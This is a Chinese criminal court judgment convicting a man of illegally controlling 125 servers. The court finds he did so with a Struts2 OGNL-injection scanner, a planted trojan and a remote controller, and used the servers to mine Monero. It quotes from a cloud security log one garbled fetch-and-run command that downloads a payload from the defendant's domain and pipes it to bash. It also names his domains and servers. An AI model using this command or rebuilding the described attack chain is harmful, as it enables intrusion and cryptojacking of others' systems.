浙江省绍兴市越城区人民法院 刑 事 判 决 书 （2019）浙0602刑初1126号 公诉机关绍兴市越城区人民检察院。 被告人史焜，男，1989年1月17日出生于江西省南昌市，汉族，大学文化，系江西省南昌市第十四中学职工，住江西省南昌市青云谱区。因涉嫌犯非法侵入计算机信息系统罪于2018年11月8日被绍兴市公安局越城区分局刑事拘留，同年12月7日变更为取保候审。2019年12月2日被绍兴市越城区人民检察院取保候审。现取保候审于居住地。 辩护人沈沛敏，浙江越光律师事务所律师。 绍兴市越城区人民检察院以越检公诉刑诉〔2019〕1074号起诉书指控被告人史焜犯非法控制计算机信息系统罪，于2019年12月4日向本院提起公诉。本院于同日立案受理，并依法组成合议庭，适用简易程序，公开开庭审理。因在案件审理过程中出现不宜适用简易程序审理之情形，遂当庭转为普通程序，公开开庭进行了审理。经绍兴市越城区人民检察院建议，本院于2020年2月21日决定对本案延期审理，并于次月21日决定对本案恢复审理。绍兴市越城区人民检察院指派检察员潘亚鹏出庭支持公诉，被告人史焜及其辩护人沈沛敏到庭参加诉讼。现已审理终结。 绍兴市越城区人民检察院指控及当庭变更指控：2018年6月至11月期间，被告人史焜在江西省南昌市青云谱区的家里利用名为“ｓｔｒ2-045”的漏洞工具扫描ＩＰ地址，非法侵入存在漏洞的服务器种植名为“ｒｏｏｔ.ｂｉｎ”的木马程序，并通过名为“ｎｏｏｄｌｉｎｕｘｖｌ.0.2”的主控端程序控制被侵入服务器，输入相应的指令，控制他人计算机下载并运行名为“ｒｌｘ”的挖矿程序挖掘“门罗币”，以此牟利。经鉴定，“ｓｔｒ2-045”程序能通过获取输入参数并赋值的方式对目标网址进行ＯＧＮＬ表达式注入漏洞并执行相关命令。“ｎｏｏｄｌｉｎｕｘｖｌ.0.2”软件能通过发送数据包的方式实现连接目标主机，直接访问目标主机上的文件系统，并能进行上传、下载、删除、文件重命名以及打开Ｓｈｅｌｌ终端执行Ｓｈｅｌｌ命令等操作。 经查，2018年6月至11月期间，被告人史焜非法控制包括位于绍兴市越城区的浙江帅丰电器股份有限公司的计算机信息系统125台。 2018年11月8日，被告人史焜在江西省南昌市青山湖区被警察抓获归案。案发后，已退赃。 公诉机关认为，被告人史焜侵入国家事务、国防建设、尖端科学技术领域以外的计算机信息系统，对计算机信息系统实施非法控制，情节特别严重，应当以非法控制计算机信息系统罪追究其刑事责任。公诉机关当庭提交了相关证据予以证实。 被告人史焜对公诉机关指控罪名没有异议，认为其实际使用的是1024端口，经与公安机关比对控制电脑的台数为69台，关于IP地址为绍兴的一台电脑未实际控制过。 辩护人认为：1.现有证据无法认定公诉机关指控的史焜控制浙江帅丰电器股份有限公司的计算机信息系统。首先从被告人史焜的供述看，他归案以后的多次笔录中都没有关于浙江帅丰电器股份有限公司的计算机信息系统进行控制的供述。其次现有证据无法证实阿里云这个服务器最终在2018年10月18日、19日这两天发生不能链接CRM软件的原因及木马程序。2018年10月8日的访问日志不能说明什么。第三因为现有证据表明被告人史焜作案的过程是自动扫描、手动控制，扫描以后发现了有缺陷的计算机系统再采用手工植入病毒，手工制作命令进行操作改动数据进行控制。本案中没有任何证据表明被告人史焜对帅丰公司的阿里云服务器进行了手工操作，更能说明问题的是在史焜的主控制端的列表上没有出现帅丰公司的阿里云服务器的IP地址。如果无证据证实被告人史焜控制过帅丰公司的计算机信息系统，因整个犯罪结果地不在绍兴市，绍兴市越城区人民法院对本案没有管辖权。2.本案指控犯罪的事实不清，证据不够确实充分，本案无法证实被告人史焜侵入计算机信息系统的台数达到20台。公诉机关指控被告人史焜犯罪的电脑台数是按史焜电脑中提取的主控制端列表上出现的IP地址来算的，这样算的前提是只有控制了电脑才会把他的IP地址反映在这个列表上，但该事实无证据证实。从史焜的犯罪过程看，他是扫描发现漏洞以后才会手工植入病毒进行控制。即扫描以后发现这个IP地址出现在列表上就不能当然认为他控制的台数就有这么多。公安机关勘察远程控制端有三个端口，而被告人史焜始终只承认使用了其中的“1024”端口，对另两个从未使用。故本案最多只能认定控制端上一个端口即“1024”的计算机或计算机系统台数。从控制端的列表上看所有的IP地址他的操作时间是无法进行显示的，只能显示这个控制端开始操作时间2017年4月7日和最后操作时间2018年10月26日，现在公诉机关的指控是有明确指控界限的，即2018年2月至2018年11月，这个显示台数有多少在这个时间段操作，有多少在这个时间段以外操作也无法得到肯定。综上，辩护人的意见是确认本案没有管辖权将案件裁定退回检察院进行处理或者宣告被告人无罪。 经审理查明的事实、证据与公诉机关的指控一致。 上述事实，有公诉机关提交，并经法庭质证、认证的下列证据予以证实： 证据1.被害单位员工王昊统的陈述，其在浙江帅丰电器股份有限公司工作，公司地址在绍兴市越城区。2018年11月6日其到公安机关报案称，公司于2017年12月购买阿里云帐号，用于存储“ＣＲＭ”,2018年10月8日我们登录阿里云的地址发现异常，2018年10月18日早晨，我们在连接访问阿里云存储的“ＣＲＭ”系统时，发现系统无法正常访问，我们就联系了“ＣＲＭ”软件的厂商，经过调试恢复了，也就没当回事。到了第二天又发现了同样的问题，我们还是以为“ＣＲＭ”软件的问题，联系软件公司后被告知是阿里云上面购买的数据库服务器受到了黑客攻击，我们就马上联系阿里云的客服，经阿里云技术部门诊断后，给我们的解释就是在阿里云数据库服务器上面被安装了木马程序阻断了我们访问阿里云里面的“ＣＲＭ”系统。后来阿里云建议我们重新组建了一个新的阿里云库，问题就解决了。 证据2.被害单位员工邵展翔的陈述、营业执照、短信通知截图，证实其所在公司全称叫杭州信雅达泛泰科技有限公司，公司主要给晋商银行做P2P存管服务，其是公司的技术总监。被入侵的服务器IP地址是139.224.146.36，注册时间为2017年10月，这个服务器主要作用是给晋商银行的P2P存管做运算服务。从2018年下半年开始，其频繁收到阿里云发过来的短信，提示“139.224.146.36”服务器出现“挖矿程序”的紧急安全事件，其每次收到短信就转达给公司运维团队，发现服务器被黑客植入挖矿程序的情况，一直持续到2018年年底才消除。最早发现是2018年的下半年，具体时间不记得了，但是最早收到阿里云的报警短信是2018年6月7日，购买阿里云服务的时间是2017年10月18日。每次阿里云发短信报警，其都会安排维护团队清除，但是因为被种植的木马无法根除，所以隔几天就会启动下载程序重新下载被清除的挖矿程序，基本上周而复始，隔一段时间就出现一次，因为服务器涉及到银行结算业务，所以没法轻易更换。 证据3.被害单位员工王堂毅的陈述，证实其所在公司是贵州燃气集团服务有限公司，其主要负责贵州的天然气销售，是信息化管理部部长助理。2018年年底至2019年年初的时候，其所在公司租用的IP地址为120.77.250.120，收到过若干次阿里云短信提示说有非法下载木马，因为这个服务器在我们公司租用仅供测试程序使用，所以我们当时收到消息后，就直接安排人员处理了，处理的方式是按照处理病毒的方式自行删除了入侵服务器的程序。 证据4.被告人史焜的供述，证实①“挖矿”就是通过植入计算机病毒到别人的计算机系统当中，再植入木马病毒，借助被人的计算机系统来获取算力，然后去矿池挖取虚拟货币。当病毒植入到别人的电脑中后，就会大量占用电脑的cpu，导致别人的电脑运行变慢，进而使得别人的计算机系统崩溃。一个门罗币市值720元，截至目前为止挖了14个门罗币。②2018年5月份之前我有矿机利用显卡挖矿，后来通过网上百度挖矿的内容，在独特网站论坛里面看到有人说可以利用电脑的cpu来挖门罗币，在逛论坛的时候发现人家挖门罗币的木马（文件名bashd的二进制文件）和一个叫nodemark的控制端，然后我将木马文件下载下来在自己的电脑上尝试了下，发现确实有效。我又去论坛上找了另外一个叫str2-045的文件，这是一个利用java漏洞的文件，我就利用这个工具扫描别人的电脑IP地址，扫这些IP地址的两个域名为123.249.13.8：3456和123.249.13.4：3456，这两个域名是我在木木云的网站买的，这两台机子布置在贵州。扫描过程中045这个文件会把木马病毒直接下载上传到别人的计算机上，我把挖矿木马病毒放在我域名为a.ssvs.space和a.sydwzl.cn里面的，045这个软件就会自动从这两个域名里面下载一个叫root.bin文件植入到被害人电脑中，这个文件会植入到对方电脑的/var/tmp的路径下面，这台电脑就会自己登记到我的中控机上面，我用我下载的控制端就可以控制对方的电脑，我的中控机的登录在腾讯云服务器IP118.24.150.172上面。③用木马病毒控制的电脑差不多有100多台（第六次讯问笔录和检察阶段均供述71台），运行木马致使被害人电脑系统崩溃的有大概20台，电脑系统崩溃之后就会自动从我的控制端踢出去，现在控制端还有80台电脑左右。被害人电脑系统崩溃后就无法操作电脑或者运行业务。我没有将自己使用的域名给被人使用过，也没有将自己已经植入木马病毒的电脑帮助别人挖矿。④noodlinuxvl.0.2程序叫主控端，通过这个软件可以直接控制所有被我植入木马的他人电脑；noodmaker是生成器，可以生成root.bin的木马程序，这个root.bin的木马程序是专门用来控制被人的电脑的。我在阿里云上放了root.bin的木马程序，作用是给被侵入电脑提供“root.bin”木马程序的下载源；我在腾讯云上面放了主控端noodlinuxvl.0.2用于控制所有被我植入木马程序侵入的电脑；我在木木云上面放了str2-045漏洞程序，作用是可以24小时自动运行；我在“my.hiformance.com”这个服务器上放了rlx这个挖矿软件，也是为了给被侵入电脑提供下载源。 证据5.电子证据检查笔录及视频资料，证实公安机关在对史焜的电脑进行数据提取时发现史焜电脑中有“s045.exe”、“ipexe”等文件，登录史焜使用的阿里云服务器发现“root.bin”、“logo.jpg”、“xd.json”等文件，打开远程主机118.24.150.172，在主机桌面发现文件夹“1024”的文件中含有名为“nood.exe”的可疑文件，主机中运行有“noodlinuxvl.0.2”程序，该界面中包含主机名、IP信息、操作系统类型等信息，经比对不重复的IP有124个。通过登录198.46.194.153的服务器，在系统文件中发现名为“sydwzl.cn.log”文件，文件中出现116.62.195.193的IP连接信息，连接时间为2018年10月8日。 证据6.司法鉴定意见书，证实经福建中证司法鉴定中心对“史焜.zip”压缩文件内的“noodlinuxvl.0.2”软件及“s045.exe”程序进行功能鉴定，“noodlinuxvl.0.2”具有以下功能：通过向已运行“root.elf”的目标主机发送数据包的方式实现连接目标主机，直接访问主机上的文件系统，并能进行上传、下载、删除、文件重命名以及打开Shell终端执行Shell命令等操作。“s045.exe”程序具有以下功能：在运行过程获取输入参数并赋值到“targeturl”、“sysinfo”、“hostpath”、“numset”等变量，通过判断变量是否为空来调用相应函数。当“hostpath”、“numset”变量不为空值时，通过对加密字符进行解密并访问解密后的远程网址，获取需要被执行的命令，之后对目标网址进行OGNL表达式注入漏洞并执行之前获取的命令；当“targeturl”、“sysinfo”变量不为空值时，程序会读取命令参数，对目标网址进行OGNL表达式注入漏洞并执行相关命令。 证据7.情况说明，证实IP为116.62.195.193的服务器于2018年10月8日遭到黑客攻击，在执行恶意指令curl-o-http：//ss.sydwzl.cn/a7(bash(/dev/null2(&1&时被阿里云安全中心客户端记录相应日志并记录。 证据8.搜查笔录、照片，扣押决定书、清单，证实本案扣押物品情况和被告人史焜退缴非法获利人民币20000元。 证据9.抓获经过，证实被告人史焜的到案情况。 综合上述认定的事实及证据，本院对控辩双方的争议焦点评判如下： 一、关于被告人史焜有否对IP为116.62.195.193的服务器实施控制的问题 经审理认为，在案证据足以认定IP为116.62.195.193的服务器被被告人史焜实际控制，理由如下：1.IP为116.62.195.193的服务器系浙江帅丰电器服务有限公司向阿里云计算有限公司租用，租用时间2017年12月起。2.被害单位员工王昊统陈述公司租用的服务器最早于2018年10月8日出现异常登录，此后该服务器于2018年10月18日、19日也被黑客攻击过，在重组阿里云库后问题才得以解决。3.阿里云计算有限公司出具情况说明在2018年10月8日IP为116.62.195.193的服务器曾告警受害者受害主机执行curl-o-http：//ss.sydwzl.cn/a7(bash(/dev/null2(&1&的恶意指令。4.执行恶意指令中的“Sydwzl”域名为被告人史焜所有并使用，史焜电脑中有执行指令中的“a7”文件。5.被告人史焜电脑“sydwzl.cn.log”文件中出现IP为“116.62.195.193”服务器的连接信息，连接时间为2018年10月8日。6.被告人史焜供述其把挖矿木马病毒放在域名为a.ssvs.space和a.sydwzl.cn里面。上述证据结合鉴定意见，足以证实被告人史焜对IP为116.62.195.193的服务器进行了控制。被告人及辩护人辩称被告人未对该IP实施控制的意见不成立，本院不予采信。 二、关于被告人史焜实际控制的计算机信息系统台数 经审理认为，公诉机关指控被告人史焜控制125台成立。理由如下：第一，被告人史焜认可其控制计算机信息系统的事实，其在公安机关讯问阶段多次稳定供述其控制的计算机信息系统100多台。第二，被告人史焜当庭对公安机关从其远程主机端界面出现的69台予以认可。第三，经核对剔除重复台数，公诉机关指控的125台中有124台出现在被告人史焜使用控制的远程主机端界面。第四，被告人史焜认可主控端界面中的前69台，对同一界面下拉菜单中的后55台不予认可，未提出正当理由。公诉机关当庭解释系公安机关遗漏。第五，史焜在第二次庭审中承认其对主机端界面中的IP进行过手动控制。综上，史焜电脑主机端出现的124个IP加上“116.62.195.193”的IP，总计125台计算机信息系统为被告人史焜非法控制。 本院认为，被告人史焜违反国家规定，采用技术手段对计算机信息系统实施非法控制，情节特别严重，其行为已构成非法控制计算机信息系统罪，公诉机关指控的罪名成立，本院予以支持。辩护人辩称被告人史焜对绍兴市越城区的一台服务器未实施控制，本院对本案无管辖权的意见以及被告人史焜不构成犯罪的意见，均与查明事实不符，不予采纳。被告人史焜到案后如实供述主要犯罪事实，且当庭认罪，依法从轻处罚；已退赃，酌情从轻处罚。结合被告人犯罪情节、认罪悔罪表现和人身危险性，依法对其适用缓刑。被告人请求其从轻处罚的意见，本院予以采纳。综上，依照《中华人民共和国刑法》第二百八十五第二款、第六十七条第三款、第七十二条、第六十四条和《最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》第一条第二款之规定，判决如下： 一、被告人史焜犯非法控制计算机信息系统罪，判处有期徒刑三年,缓刑三年六个月，并处罚金人民币五千元； 二、公诉机关移送本院扣押的人民币20000元，其中10080元系违法所得，没收后上缴国库，其中5000元抵作罚金，余款4920元向被告人发还；公诉机关移送本院扣押的电脑主机一台（暂存于绍兴市越城公安分局刑侦大队）系作案工具，予以没收；手机一部，系被告人史焜合法财物，予以发还。 如不服本判决，可在接到判决书的第二日起十日内，通过本院或者直接向浙江省绍兴市中级人民法院提出上诉。书面上诉的，应当提交上诉状正本一份，副本二份。 审 判 长  *** 人民陪审员  章定安 人民陪审员  周红英 二〇二〇年六月十六日 书 记 员  赵剑英 附页：相关法律条文 《中华人民共和国刑法》 第二百八十五条违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。 违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。 提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。 单位犯前三款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照各该款的规定处罚。 第六十七条犯罪以后自动投案，如实供述自己的罪行的，是自首。对于自首的犯罪分子，可以从轻或者减轻处罚。其中，犯罪较轻的，可以免除处罚。 被采取强制措施的犯罪嫌疑人、被告人和正在服刑的罪犯，如实供述司法机关还未掌握的本人其他罪行的，以自首论。 犯罪嫌疑人虽不具有前两款规定的自首情节，但是如实供述自己罪行的，可以从轻处罚；因其如实供述自己罪行，避免特别严重后果发生的，可以减轻处罚。 第七十二条对于被判处拘役、三年以下有期徒刑的犯罪分子，同时符合下列条件的，可以宣告缓刑，对其中不满十八周岁的人、怀孕的妇女和已满七十五周岁的人，应当宣告缓刑： （一）犯罪情节较轻； （二）有悔罪表现； （三）没有再犯罪的危险； （四）宣告缓刑对所居住社区没有重大不良影响。 宣告缓刑，可以根据犯罪情况，同时禁止犯罪分子在缓刑考验期限内从事特定活动，进入特定区域、场所，接触特定的人。 被宣告缓刑的犯罪分子，如果被判处附加刑，附加刑仍须执行。 第六十四条犯罪分子违法所得的一切财物，应当予以追缴或者责令退赔；对被害人的合法财产，应当及时返还；违禁品和供犯罪所用的本人财物，应当予以没收。没收的财物和罚金，一律上缴国库，不得挪用和自行处理。 《最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》 第一条非法获取计算机信息系统数据或者非法控制计算机信息系统，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节严重”： （一）获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的； （二）获取第（一）项以外的身份认证信息五百组以上的； （三）非法控制计算机信息系统二十台以上的； （四）违法所得五千元以上或者造成经济损失一万元以上的； （五）其他情节严重的情形。 实施前款规定行为，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节特别严重”： （一）数量或者数额达到前款第（一）项至第（四）项规定标准五倍以上的； （二）其他情节特别严重的情形。 明知是他人非法控制的计算机信息系统，而对该计算机信息系统的控制权加以利用的，依照前两款的规定定罪处罚。